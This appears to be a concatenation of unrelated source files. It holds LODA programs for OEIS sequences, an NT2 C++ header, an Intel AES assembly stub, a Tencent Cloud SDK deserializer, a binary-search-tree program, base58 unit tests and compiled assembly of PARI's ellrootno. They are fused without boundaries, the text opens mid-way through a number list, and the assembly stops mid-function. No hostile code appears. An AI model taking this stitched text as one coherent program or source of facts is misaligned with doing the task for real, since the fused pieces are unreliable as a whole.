149150,16615086,17091024,17577106,18073475,18580275,19097651,19625749,20164716,20714700,21275850,21848316,22432249,23027801,23635125,24254375,24885706,25529274,26185236,26853750,27534975,28229071,28936199,29656521,30390200,31137400,31898286,32673024,33461781,34264725,35082025,35913851,36760374,37621766,38498200,39389850,40296891,41219499,42157851,43112125,44082500,45069156,46072274,47092036,48128625,49182225,50253021,51341199,52446946,53570450,54711900,55871486,57049399,58245831,59460975,60695025,61948176,63220624,64512566,65824200,67155725,68507341,69879249,71271651,72684750,74118750,75573856,77050274,78548211,80067875,81609475,83173221,84759324,86367996,87999450,89653900,91331561,93032649,94757381,96505975,98278650,100075626,101897124,103743366,105614575,107510975,109432791,111380249,113353576,115353000,117378750,119431056,121510149,123616261,125749625,127910475,130099046,132315574,134560296,136833450,139135275,141466011,143825899,146215181,148634100,151082900,153561826,156071124,158611041,161181825,163783725,166416991,169081874,171778626,174507500,177268750 add $0,1 mov $3,5 mov $5,1 lpb $0,1 sub $0,1 add $2,$3 add $3,$5 add $1,$3 add $4,$2 add $1,$4 sub $1,5 lpe
; A314725: Coordination sequence Gal.5.114.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,9,13,18,23,28,33,37,41,46,51,55,59,64,69,74,79,83,87,92,97,101,105,110,115,120,125,129,133,138,143,147,151,156,161,166,171,175,179,184,189,193,197,202,207,212,217,221,225 mov $9,$0 add $9,1 lpb $9 clr $0,7 sub $9,1 sub $0,$9 lpb $0 div $0,2 mul $0,2 pow $0,2 add $1,1 sub $0,$1 div $0,10 mod $0,2 mov $5,3 add $5,$1 lpe add $8,$5 lpe mov $1,$8 add $1,1
//============================================================================== // Copyright 2003 - 2012 LASMEA UMR 6602 CNRS/Univ. Clermont II // Copyright 2009 - 2012 LRI UMR 8623 CNRS/Univ Paris Sud XI // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE.txt or copy at // http://www.boost.org/LICENSE_1_0.txt //============================================================================== #ifndef NT2_CORE_FUNCTIONS_SCALAR_TIE_HPP_INCLUDED #define NT2_CORE_FUNCTIONS_SCALAR_TIE_HPP_INCLUDED #include <nt2/core/functions/tie.hpp> #include <nt2/core/container/dsl/domain.hpp> #include <boost/dispatch/meta/as_ref.hpp> #include <nt2/core/container/dsl/generator.hpp> #include <boost/mpl/if.hpp> #include <boost/type_traits/add_reference.hpp> #include <nt2/sdk/parameters.hpp> #include <boost/preprocessor/repetition/repeat_from_to.hpp> #include <boost/preprocessor/repetition/enum_binary_params.hpp> #include <boost/preprocessor/repetition/enum.hpp> namespace nt2 { namespace ext { template<class T, class Enable = void> struct as_child_ref; template<class T> struct as_child_ref_expr { typedef container::domain::template as_child_expr<T, typename T::proto_tag, false> impl; typedef typename impl::result_type type; static type call(T& t) { return impl()(t); } }; template<class T, class Enable> struct as_child_ref { typedef boost::proto::basic_expr< boost::proto::tag::terminal, boost::proto::term<T&> > expr; typedef nt2::container::expression<expr, T&> type; static type call(T& t) { return type(expr::make(t)); } }; template<class T> struct as_child_ref<T, typename T::proto_is_expr_> : as_child_ref_expr<T> { }; #define M1(z,n,t) (A##n) #define M2(z,n,t) (unspecified_<A##n>) #define M2b(z,n,t) (generic_< unspecified_<A##n> >) #define M3(z,n,t) typename ext::as_child_ref<A##n>::type #define M4(z,n,t) ext::as_child_ref<A##n>::call(a##n) #define M0(z,n,t) \ NT2_FUNCTOR_IMPLEMENTATION( nt2::tag::tie_, BOOST_PP_TUPLE_ELEM(2,0,t) \ , BOOST_PP_REPEAT(n,M1,~) \ , BOOST_PP_REPEAT(n,BOOST_PP_TUPLE_ELEM(2,1,t),~) \ ) \ { \ typedef boost::proto:: \ basic_expr< nt2::tag::tie_ \ , boost::proto::list##n<BOOST_PP_ENUM(n, M3, ~)> \ , n \ > expr; \ typedef nt2::details:: \ generator< nt2::tag::tie_ \ , nt2::container::domain \ , n \ , expr const \ > generator; \ typedef typename generator::result_type result_type; \ \ BOOST_FORCEINLINE result_type \ operator()(BOOST_PP_ENUM_BINARY_PARAMS(n,A,& a)) const \ { \ expr e = { BOOST_PP_ENUM(n, M4, ~) }; \ return result_type(e); \ } \ }; \ /**/ BOOST_PP_REPEAT_FROM_TO(1,BOOST_PROTO_MAX_ARITY,M0,(tag::formal_, M2)) BOOST_PP_REPEAT_FROM_TO(1,BOOST_PROTO_MAX_ARITY,M0,(tag::cpu_, M2b)) #undef M0 #undef M1 #undef M2 #undef M2b #undef M3 #undef M4 } } #endif
; A235596: Second column of triangle in A235595. ; Submitted by Christian Krause ; 0,0,2,9,40,195,1056,6321,41392,293607,2237920,18210093,157329096,1436630091,13810863808,139305550065,1469959371232,16184586405327,185504221191744,2208841954063317,27272621155678840,348586218389733555,4605223387997411872,62797451641106266329,882730631284319415504,12776077318891628112375,190185523485851040093856,2908909247751545392493181,45671882246215264120864552,735452644411097903203941147,12136505435201514536093218560,205085241829203815629702605633,3546223794928746739330729794496 mov $1,$0 seq $1,248 ; Expansion of e.g.f. exp(x*exp(x)). mov $0,$1 sub $0,1
; A000064: Partial sums of (unordered) ways of making change for n cents using coins of 1, 2, 5, 10 cents. ; 1,2,4,6,9,13,18,24,31,39,50,62,77,93,112,134,159,187,218,252,292,335,384,436,494,558,628,704,786,874,972,1076,1190,1310,1440,1580,1730,1890,2060,2240,2435,2640,2860,3090,3335,3595,3870,4160,4465,4785,5126,5482,5859,6251,6664,7098,7553,8029,8526,9044,9590,10157,10752,11368,12012,12684,13384,14112,14868,15652,16472,17320,18204,19116,20064,21048,22068,23124,24216,25344,26517,27726,28980,30270,31605,32985,34410,35880,37395,38955,40570,42230,43945,45705,47520,49390,51315,53295,55330,57420,59576,61787,64064,66396,68794,71258,73788,76384,79046,81774,84580,87452,90402,93418,96512,99684,102934,106262,109668,113152,116727,120380,124124,127946,131859,135863,139958,144144,148421,152789,157262,161826,166495,171255,176120,181090,186165,191345,196630,202020,207530,213145,218880,224720,230680,236760,242960,249280,255720,262280,268976,275792,282744,289816,297024,304368,311848,319464,327216,335104,343145,351322,359652,368118,376737,385509,394434,403512,412743,422127,431682,441390,451269,461301,471504,481878,492423,503139,514026,525084,536332,547751,559360,571140,583110,595270,607620,620160,632890,645810,658940,672260,685790,699510,713440,727580,741930,756490,771260,786240,801451,816872,832524,848386,864479,880803,897358,914144,931161,948409,965910,983642,1001627,1019843,1038312,1057034,1076009,1095237,1114718,1134452,1154462,1174725,1195264,1216056,1237124,1258468,1280088,1301984,1324156,1346604,1369352,1392376,1415700,1439300,1463200,1487400,1511900,1536700,1561800,1587200,1612925,1638950,1665300,1691950,1718925,1746225,1773850,1801800,1830075,1858675 mov $8,$0 mov $10,$0 add $10,1 lpb $10 clr $0,8 mov $0,$8 sub $10,1 sub $0,$10 mov $5,$0 mov $7,$0 add $7,1 lpb $7 mov $0,$5 sub $7,1 sub $0,$7 mul $0,2 cal $0,165190 ; G.f.: 1/((1-x^4)*(1-x^5)). mov $1,$0 add $1,1 bin $1,2 add $6,$1 lpe add $9,$6 lpe mov $1,$9
;; ;; Copyright (c) 2020-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %ifndef AES_CBC_MAC %define NROUNDS 13 %define AES_CBC_MAC aes256_cbc_mac_x8 %define SUBMIT_JOB_AES_CCM_AUTH submit_job_aes256_ccm_auth_avx %define FLUSH_JOB_AES_CCM_AUTH flush_job_aes256_ccm_auth_avx %endif %include "avx/mb_mgr_aes128_ccm_auth_submit_flush_x8_avx.asm"
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/apigateway/v20180808/model/DescribeApiAppResponse.h> #include <tencentcloud/core/utils/rapidjson/document.h> #include <tencentcloud/core/utils/rapidjson/writer.h> #include <tencentcloud/core/utils/rapidjson/stringbuffer.h> using TencentCloud::CoreInternalOutcome; using namespace TencentCloud::Apigateway::V20180808::Model; using namespace std; DescribeApiAppResponse::DescribeApiAppResponse() : m_resultHasBeenSet(false) { } CoreInternalOutcome DescribeApiAppResponse::Deserialize(const string &payload) { rapidjson::Document d; d.Parse(payload.c_str()); if (d.HasParseError() || !d.IsObject()) { return CoreInternalOutcome(Core::Error("response not json format")); } if (!d.HasMember("Response") || !d["Response"].IsObject()) { return CoreInternalOutcome(Core::Error("response `Response` is null or not object")); } rapidjson::Value &rsp = d["Response"]; if (!rsp.HasMember("RequestId") || !rsp["RequestId"].IsString()) { return CoreInternalOutcome(Core::Error("response `Response.RequestId` is null or not string")); } string requestId(rsp["RequestId"].GetString()); SetRequestId(requestId); if (rsp.HasMember("Error")) { if (!rsp["Error"].IsObject() || !rsp["Error"].HasMember("Code") || !rsp["Error"]["Code"].IsString() || !rsp["Error"].HasMember("Message") || !rsp["Error"]["Message"].IsString()) { return CoreInternalOutcome(Core::Error("response `Response.Error` format error").SetRequestId(requestId)); } string errorCode(rsp["Error"]["Code"].GetString()); string errorMsg(rsp["Error"]["Message"].GetString()); return CoreInternalOutcome(Core::Error(errorCode, errorMsg).SetRequestId(requestId)); } if (rsp.HasMember("Result") && !rsp["Result"].IsNull()) { if (!rsp["Result"].IsObject()) { return CoreInternalOutcome(Core::Error("response `Result` is not object type").SetRequestId(requestId)); } CoreInternalOutcome outcome = m_result.Deserialize(rsp["Result"]); if (!outcome.IsSuccess()) { outcome.GetError().SetRequestId(requestId); return outcome; } m_resultHasBeenSet = true; } return CoreInternalOutcome(true); } string DescribeApiAppResponse::ToJsonString() const { rapidjson::Document value; value.SetObject(); rapidjson::Document::AllocatorType& allocator = value.GetAllocator(); if (m_resultHasBeenSet) { rapidjson::Value iKey(rapidjson::kStringType); string key = "Result"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value(rapidjson::kObjectType).Move(), allocator); m_result.ToJsonObject(value[key.c_str()], allocator); } rapidjson::Value iKey(rapidjson::kStringType); string key = "RequestId"; iKey.SetString(key.c_str(), allocator); value.AddMember(iKey, rapidjson::Value().SetString(GetRequestId().c_str(), allocator), allocator); rapidjson::StringBuffer buffer; rapidjson::Writer<rapidjson::StringBuffer> writer(buffer); value.Accept(writer); return buffer.GetString(); } ApiAppInfos DescribeApiAppResponse::GetResult() const { return m_result; } bool DescribeApiAppResponse::ResultHasBeenSet() const { return m_resultHasBeenSet; }
#include <iostream> #include <stdlib.h> struct binarySearchTreeNode{ int nodeValue; binarySearchTreeNode* leftNode; binarySearchTreeNode* rightNode; }; void insertNode(binarySearchTreeNode* currentNode, binarySearchTreeNode* nodeToAdd){ if(nodeToAdd->nodeValue < currentNode->nodeValue){ if(currentNode->leftNode == NULL){ currentNode->leftNode = nodeToAdd; }else{ insertNode(currentNode->leftNode, nodeToAdd); } }else{ if(currentNode->rightNode == NULL){ currentNode->rightNode = nodeToAdd; }else{ insertNode(currentNode->rightNode, nodeToAdd); } } } int main(int argc, char** argv){ if(argc <= 1){ std::cout << "Invalid input" << std::endl; } binarySearchTreeNode* root = NULL; for(int iterator = 1; iterator < argc; iterator++){ if(root == NULL){ root = new binarySearchTreeNode(); root->nodeValue = atoi(argv[iterator]); root->leftNode = NULL; root->rightNode = NULL; }else{ binarySearchTreeNode* nodeToAdd = new binarySearchTreeNode(); nodeToAdd->nodeValue = atoi(argv[iterator]); insertNode(root, nodeToAdd); } } return 0; }
; insubdir
// Copyright (c) 2011-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "base58.h" #include "data/base58_encode_decode.json.h" #include "data/base58_keys_invalid.json.h" #include "data/base58_keys_valid.json.h" #include "key.h" #include "script/script.h" #include "uint256.h" #include "util.h" #include "utilstrencodings.h" #include "test/test_flcoin.h" #include <boost/foreach.hpp> #include <boost/test/unit_test.hpp> #include <univalue.h> extern UniValue read_json(const std::string& jsondata); BOOST_FIXTURE_TEST_SUITE(base58_tests, BasicTestingSetup) // Goal: test low-level base58 encoding functionality BOOST_AUTO_TEST_CASE(base58_EncodeBase58) { UniValue tests = read_json(std::string(json_tests::base58_encode_decode, json_tests::base58_encode_decode + sizeof(json_tests::base58_encode_decode))); for (unsigned int idx = 0; idx < tests.size(); idx++) { UniValue test = tests[idx]; std::string strTest = test.write(); if (test.size() < 2) // Allow for extra stuff (useful for comments) { BOOST_ERROR("Bad test: " << strTest); continue; } std::vector<unsigned char> sourcedata = ParseHex(test[0].get_str()); std::string base58string = test[1].get_str(); BOOST_CHECK_MESSAGE( EncodeBase58(begin_ptr(sourcedata), end_ptr(sourcedata)) == base58string, strTest); } } // Goal: test low-level base58 decoding functionality BOOST_AUTO_TEST_CASE(base58_DecodeBase58) { UniValue tests = read_json(std::string(json_tests::base58_encode_decode, json_tests::base58_encode_decode + sizeof(json_tests::base58_encode_decode))); std::vector<unsigned char> result; for (unsigned int idx = 0; idx < tests.size(); idx++) { UniValue test = tests[idx]; std::string strTest = test.write(); if (test.size() < 2) // Allow for extra stuff (useful for comments) { BOOST_ERROR("Bad test: " << strTest); continue; } std::vector<unsigned char> expected = ParseHex(test[0].get_str()); std::string base58string = test[1].get_str(); BOOST_CHECK_MESSAGE(DecodeBase58(base58string, result), strTest); BOOST_CHECK_MESSAGE(result.size() == expected.size() && std::equal(result.begin(), result.end(), expected.begin()), strTest); } BOOST_CHECK(!DecodeBase58("invalid", result)); // check that DecodeBase58 skips whitespace, but still fails with unexpected non-whitespace at the end. BOOST_CHECK(!DecodeBase58(" \t\n\v\f\r skip \r\f\v\n\t a", result)); BOOST_CHECK( DecodeBase58(" \t\n\v\f\r skip \r\f\v\n\t ", result)); std::vector<unsigned char> expected = ParseHex("971a55"); BOOST_CHECK_EQUAL_COLLECTIONS(result.begin(), result.end(), expected.begin(), expected.end()); } // Visitor to check address type class TestAddrTypeVisitor : public boost::static_visitor<bool> { private: std::string exp_addrType; public: TestAddrTypeVisitor(const std::string &exp_addrType) : exp_addrType(exp_addrType) { } bool operator()(const CKeyID &id) const { return (exp_addrType == "pubkey"); } bool operator()(const CScriptID &id) const { return (exp_addrType == "script"); } bool operator()(const CNoDestination &no) const { return (exp_addrType == "none"); } }; // Visitor to check address payload class TestPayloadVisitor : public boost::static_visitor<bool> { private: std::vector<unsigned char> exp_payload; public: TestPayloadVisitor(std::vector<unsigned char> &exp_payload) : exp_payload(exp_payload) { } bool operator()(const CKeyID &id) const { uint160 exp_key(exp_payload); return exp_key == id; } bool operator()(const CScriptID &id) const { uint160 exp_key(exp_payload); return exp_key == id; } bool operator()(const CNoDestination &no) const { return exp_payload.size() == 0; } }; // Goal: check that parsed keys match test payload BOOST_AUTO_TEST_CASE(base58_keys_valid_parse) { UniValue tests = read_json(std::string(json_tests::base58_keys_valid, json_tests::base58_keys_valid + sizeof(json_tests::base58_keys_valid))); std::vector<unsigned char> result; CBitcoinSecret secret; CBitcoinAddress addr; SelectParams(CBaseChainParams::MAIN); for (unsigned int idx = 0; idx < tests.size(); idx++) { UniValue test = tests[idx]; std::string strTest = test.write(); if (test.size() < 3) // Allow for extra stuff (useful for comments) { BOOST_ERROR("Bad test: " << strTest); continue; } std::string exp_base58string = test[0].get_str(); std::vector<unsigned char> exp_payload = ParseHex(test[1].get_str()); const UniValue &metadata = test[2].get_obj(); bool isPrivkey = find_value(metadata, "isPrivkey").get_bool(); bool isTestnet = find_value(metadata, "isTestnet").get_bool(); if (isTestnet) SelectParams(CBaseChainParams::TESTNET); else SelectParams(CBaseChainParams::MAIN); if(isPrivkey) { bool isCompressed = find_value(metadata, "isCompressed").get_bool(); // Must be valid private key // Note: CBitcoinSecret::SetString tests isValid, whereas CBitcoinAddress does not! BOOST_CHECK_MESSAGE(secret.SetString(exp_base58string), "!SetString:"+ strTest); BOOST_CHECK_MESSAGE(secret.IsValid(), "!IsValid:" + strTest); CKey privkey = secret.GetKey(); BOOST_CHECK_MESSAGE(privkey.IsCompressed() == isCompressed, "compressed mismatch:" + strTest); BOOST_CHECK_MESSAGE(privkey.size() == exp_payload.size() && std::equal(privkey.begin(), privkey.end(), exp_payload.begin()), "key mismatch:" + strTest); // Private key must be invalid public key addr.SetString(exp_base58string); BOOST_CHECK_MESSAGE(!addr.IsValid(), "IsValid privkey as pubkey:" + strTest); } else { std::string exp_addrType = find_value(metadata, "addrType").get_str(); // "script" or "pubkey" // Must be valid public key BOOST_CHECK_MESSAGE(addr.SetString(exp_base58string), "SetString:" + strTest); BOOST_CHECK_MESSAGE(addr.IsValid(), "!IsValid:" + strTest); BOOST_CHECK_MESSAGE(addr.IsScript() == (exp_addrType == "script"), "isScript mismatch" + strTest); CTxDestination dest = addr.Get(); BOOST_CHECK_MESSAGE(boost::apply_visitor(TestAddrTypeVisitor(exp_addrType), dest), "addrType mismatch" + strTest); // Public key must be invalid private key secret.SetString(exp_base58string); BOOST_CHECK_MESSAGE(!secret.IsValid(), "IsValid pubkey as privkey:" + strTest); } } } // Goal: check that generated keys match test vectors BOOST_AUTO_TEST_CASE(base58_keys_valid_gen) { UniValue tests = read_json(std::string(json_tests::base58_keys_valid, json_tests::base58_keys_valid + sizeof(json_tests::base58_keys_valid))); std::vector<unsigned char> result; for (unsigned int idx = 0; idx < tests.size(); idx++) { UniValue test = tests[idx]; std::string strTest = test.write(); if (test.size() < 3) // Allow for extra stuff (useful for comments) { BOOST_ERROR("Bad test: " << strTest); continue; } std::string exp_base58string = test[0].get_str(); std::vector<unsigned char> exp_payload = ParseHex(test[1].get_str()); const UniValue &metadata = test[2].get_obj(); bool isPrivkey = find_value(metadata, "isPrivkey").get_bool(); bool isTestnet = find_value(metadata, "isTestnet").get_bool(); if (isTestnet) SelectParams(CBaseChainParams::TESTNET); else SelectParams(CBaseChainParams::MAIN); if(isPrivkey) { bool isCompressed = find_value(metadata, "isCompressed").get_bool(); CKey key; key.Set(exp_payload.begin(), exp_payload.end(), isCompressed); assert(key.IsValid()); CBitcoinSecret secret; secret.SetKey(key); BOOST_CHECK_MESSAGE(secret.ToString() == exp_base58string, "result mismatch: " + strTest); } else { std::string exp_addrType = find_value(metadata, "addrType").get_str(); CTxDestination dest; if(exp_addrType == "pubkey") { dest = CKeyID(uint160(exp_payload)); } else if(exp_addrType == "script") { dest = CScriptID(uint160(exp_payload)); } else if(exp_addrType == "none") { dest = CNoDestination(); } else { BOOST_ERROR("Bad addrtype: " << strTest); continue; } CBitcoinAddress addrOut; BOOST_CHECK_MESSAGE(addrOut.Set(dest), "encode dest: " + strTest); BOOST_CHECK_MESSAGE(addrOut.ToString() == exp_base58string, "mismatch: " + strTest); } } // Visiting a CNoDestination must fail CBitcoinAddress dummyAddr; CTxDestination nodest = CNoDestination(); BOOST_CHECK(!dummyAddr.Set(nodest)); SelectParams(CBaseChainParams::MAIN); } // Goal: check that base58 parsing code is robust against a variety of corrupted data BOOST_AUTO_TEST_CASE(base58_keys_invalid) { UniValue tests = read_json(std::string(json_tests::base58_keys_invalid, json_tests::base58_keys_invalid + sizeof(json_tests::base58_keys_invalid))); // Negative testcases std::vector<unsigned char> result; CBitcoinSecret secret; CBitcoinAddress addr; for (unsigned int idx = 0; idx < tests.size(); idx++) { UniValue test = tests[idx]; std::string strTest = test.write(); if (test.size() < 1) // Allow for extra stuff (useful for comments) { BOOST_ERROR("Bad test: " << strTest); continue; } std::string exp_base58string = test[0].get_str(); // must be invalid as public and as private key addr.SetString(exp_base58string); BOOST_CHECK_MESSAGE(!addr.IsValid(), "IsValid pubkey:" + strTest); secret.SetString(exp_base58string); BOOST_CHECK_MESSAGE(!secret.IsValid(), "IsValid privkey:" + strTest); } } BOOST_AUTO_TEST_SUITE_END()
.macosx_version_min 10, 12 .section __TEXT,__text,regular,pure_instructions .align 4, 0x90 .globl _ellrootno_global _ellrootno_global: pushq %rbp Ltmp0: pushq %r15 Ltmp1: pushq %r14 Ltmp2: pushq %r13 Ltmp3: pushq %r12 Ltmp4: pushq %rbx Ltmp5: subq $24, %rsp Ltmp6: Ltmp7: Ltmp8: Ltmp9: Ltmp10: Ltmp11: Ltmp12: movq %rsi, %rax movq %rdi, %r14 movq %rax, 16(%rsp) leaq 16(%rsp), %rdx movl $2, %esi movq %rax, %rdi call _Z_lvalrem movq $-1, %rbx testq %rax, %rax je LBB0_2 movq %r14, %rdi call _ellrootno_2 movq %rax, %rbx negq %rbx LBB0_2: movq 16(%rsp), %rdi leaq 16(%rsp), %rdx movl $3, %esi call _Z_lvalrem testq %rax, %rax je LBB0_4 movq %r14, %rdi call _ellrootno_3 imulq %rax, %rbx LBB0_4: movq 16(%rsp), %rdi call _Z_factor movq 8(%rax), %r13 movl $1, %ebp testl $16777214, (%r13) je LBB0_12 movq 16(%rax), %rax movq %rax, 8(%rsp) movl $16777215, %edx .align 4, 0x90 LBB0_6: movq (%r13,%rbp,8), %r12 movq 8(%rsp), %rax movq (%rax,%rbp,8), %rax movq 8(%rax), %rcx andq %rdx, %rcx cmpq $2, %rcx movl $16777215, %r15d movl $0, %edx je LBB0_11 cmpq $3, %rcx jne LBB0_9 movq 16(%rax), %rdx jmp LBB0_10 .align 4, 0x90 LBB0_9: movl $15, %edi xorl %eax, %eax leaq L_.str2(%rip), %rsi call _pari_err xorl %edx, %edx LBB0_10: movl $16777215, %r15d LBB0_11: movq %r14, %rdi movq %r12, %rsi call _ellrootno_p imulq %rax, %rbx incq %rbp movq (%r13), %rax andq %r15, %rax cmpq %rax, %rbp movl $16777215, %edx jl LBB0_6 LBB0_12: movq %rbx, %rax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp ret .align 4, 0x90 _ellrootno_2: pushq %r14 Ltmp13: pushq %rbx Ltmp14: subq $88, %rsp Ltmp15: Ltmp16: Ltmp17: movq %rdi, %rbx leaq 56(%rsp), %rax movq %rax, 16(%rsp) leaq 48(%rsp), %rax movq %rax, 8(%rsp) leaq 64(%rsp), %rax movq %rax, (%rsp) leaq 40(%rsp), %rcx leaq 72(%rsp), %r8 leaq 32(%rsp), %r9 movl $2, %esi movl $64, %edx xorl %eax, %eax call _val_init movl $1, %eax cmpq $0, 48(%rsp) je LBB1_54 leaq 80(%rsp), %rdx movl $2, %esi movq %rbx, %rdi call _neron movq %rax, %rdi movq 80(%rsp), %rcx cmpq $5, %rcx jl LBB1_3 movq 16(%rbx), %rdi movl $2, %esi call _umodiu movq %rax, %r14 movq 24(%rbx), %rdi movl $2, %esi call _umodiu addl %r14d, %eax addl %eax, %eax andq $2, %rax decq %rax jmp LBB1_54 LBB1_3: cmpq $-10, %rcx jg LBB1_6 movq $-1, %rax cmpq $2, %rdi jne LBB1_54 movq 64(%rsp), %rsi LBB1_21: movq $-1, %rdi LBB1_22: call _kross negq %rax jmp LBB1_54 LBB1_6: movl $1, %eax addq $9, %rcx cmpq $12, %rcx ja LBB1_14 movq 72(%rsp), %rsi movq 64(%rsp), %rdx leaq (%rsi,%rdx,2), %r8 leaq LJTI1_0(%rip), %rbx movslq (%rbx,%rcx,4), %rcx addq %rbx, %rcx jmp *%rcx LBB1_75: movq $-1, %rax cmpq $2, %rdi jne LBB1_54 movq 56(%rsp), %rsi jmp LBB1_21 LBB1_73: movq $-1, %rax cmpq $2, %rdi jne LBB1_54 imulq 56(%rsp), %rdx jmp LBB1_18 LBB1_67: movl $1, %eax cmpq $1, %rdi je LBB1_54 jmp LBB1_68 LBB1_61: movl $1, %eax cmpq $1, %rdi je LBB1_54 cmpq $3, %rdi jne LBB1_63 movq %rsi, %rax sarq $63, %rax shrq $60, %rax addq %rsi, %rax andq $-16, %rax movq %rsi, %rcx subq %rax, %rcx movl $1, %eax cmpq $11, %rcx je LBB1_54 leaq (%rsi,%rdx,4), %rax movq %rax, %rcx sarq $63, %rcx shrq $60, %rcx addq %rax, %rcx andq $-16, %rcx subq %rcx, %rax cmpq $3, %rax jmp LBB1_30 LBB1_58: cmpq $1, %rdi jne LBB1_60 movq %r8, %rax sarq $63, %rax shrq $59, %rax addq %r8, %rax andq $-32, %rax subq %rax, %r8 cmpq $23, %r8 jmp LBB1_30 LBB1_48: decq %rdi cmpq $3, %rdi jbe LBB1_49 LBB1_60: leaq (%rdx,%rsi,2), %rsi movl $2, %edi jmp LBB1_22 LBB1_46: cmpq $1, %rdi jne LBB1_18 movq $-2, %rdi jmp LBB1_19 LBB1_37: decq %rdi cmpq $3, %rdi ja LBB1_18 leaq LJTI1_2(%rip), %rax movslq (%rax,%rdi,4), %rcx addq %rax, %rcx jmp *%rcx LBB1_39: movl $2, %edi movq %r8, %rsi jmp LBB1_22 LBB1_8: decq %rdi cmpq $4, %rdi ja LBB1_18 leaq LJTI1_4(%rip), %rax movslq (%rax,%rdi,4), %rcx addq %rax, %rcx jmp *%rcx LBB1_10: movl $1, %eax movq 40(%rsp), %rcx cmpq $5, %rcx je LBB1_54 cmpq $4, %rcx jne LBB1_14 movq $-1, %rdi call _kross jmp LBB1_54 LBB1_23: decq %rdi cmpq $4, %rdi ja LBB1_18 leaq LJTI1_3(%rip), %rax movslq (%rax,%rdi,4), %rcx addq %rax, %rcx jmp *%rcx LBB1_25: imulq %rsi, %rdx LBB1_26: movl $2, %edi movq %rdx, %rsi jmp LBB1_22 LBB1_49: leaq LJTI1_1(%rip), %rax movslq (%rax,%rdi,4), %rcx addq %rax, %rcx jmp *%rcx LBB1_50: addq %rdx, %rdx subq %rdx, %rsi movq %rsi, %rax sarq $63, %rax shrq $58, %rax addq %rsi, %rax andq $-64, %rax movq %rsi, %rcx subq %rax, %rcx addq $64, %rcx subq %rax, %rsi cmovs %rcx, %rsi movl $1, %eax cmpq $3, %rsi je LBB1_54 cmpq $19, %rsi jmp LBB1_30 LBB1_63: cmpq $2, %rdi jne LBB1_68 movl $1, %eax cmpq $10, 32(%rsp) jne LBB1_14 jmp LBB1_54 LBB1_68: movq 32(%rsp), %rax leal -8(%rax), %ecx shlq %cl, %rdx addl %edx, %esi andq $15, %rsi cmpq $10, %rax jne LBB1_71 movl $1, %eax cmpq $9, %rsi je LBB1_54 cmpq $13, %rsi jmp LBB1_30 LBB1_71: movl $1, %eax cmpq $9, %rsi je LBB1_54 cmpq $5, %rsi jmp LBB1_30 LBB1_33: cmpq $8, 32(%rsp) jne LBB1_36 movl $2, %edi jmp LBB1_35 LBB1_40: movq %rdx, %rax sarq $63, %rax shrq $61, %rax addq %rdx, %rax andq $-8, %rax subq %rax, %rdx movl $1, %eax cmpq $7, %rdx je LBB1_54 movq %r8, %rax sarq $63, %rax shrq $59, %rax addq %r8, %rax andq $-32, %rax subq %rax, %r8 cmpq $11, %r8 jmp LBB1_30 LBB1_42: movl $1, %eax cmpq $6, 40(%rsp) jne LBB1_14 jmp LBB1_54 LBB1_43: movq 40(%rsp), %rcx cmpq $7, %rcx jge LBB1_18 movq $-1, %rax cmpq $6, %rcx jne LBB1_54 imulq %rsi, %rdx movq $-1, %rdi movq %rdx, %rsi jmp LBB1_22 LBB1_52: movq $-1, %rdi call _kross leaq (%rax,%rax), %rdi movq 64(%rsp), %rsi call _kross jmp LBB1_54 LBB1_53: movq $-1, %rdi call _kross movq %rax, %rbx negq %rbx movq 72(%rsp), %rsi movq $-1, %rdi call _kross leaq (%rax,%rax), %rdi negq %rdi movq 64(%rsp), %rsi imulq 72(%rsp), %rsi call _kross imulq %rbx, %rax jmp LBB1_54 LBB1_55: cmpq $11, 32(%rsp) jne LBB1_57 movq $-2, %rdi LBB1_35: movq %r8, %rsi call _kross jmp LBB1_54 LBB1_13: movl $1, %eax cmpq $7, 32(%rsp) je LBB1_54 LBB1_14: movq $-1, %rax jmp LBB1_54 LBB1_15: movq %rdx, %rax sarq $63, %rax shrq $61, %rax addq %rdx, %rax andq $-8, %rax movq %rdx, %rcx subq %rax, %rcx movl $1, %eax cmpq $5, %rcx je LBB1_54 imulq %rsi, %rdx movq %rdx, %rax sarq $63, %rax shrq $61, %rax addq %rdx, %rax andq $-8, %rax subq %rax, %rdx cmpq $5, %rdx 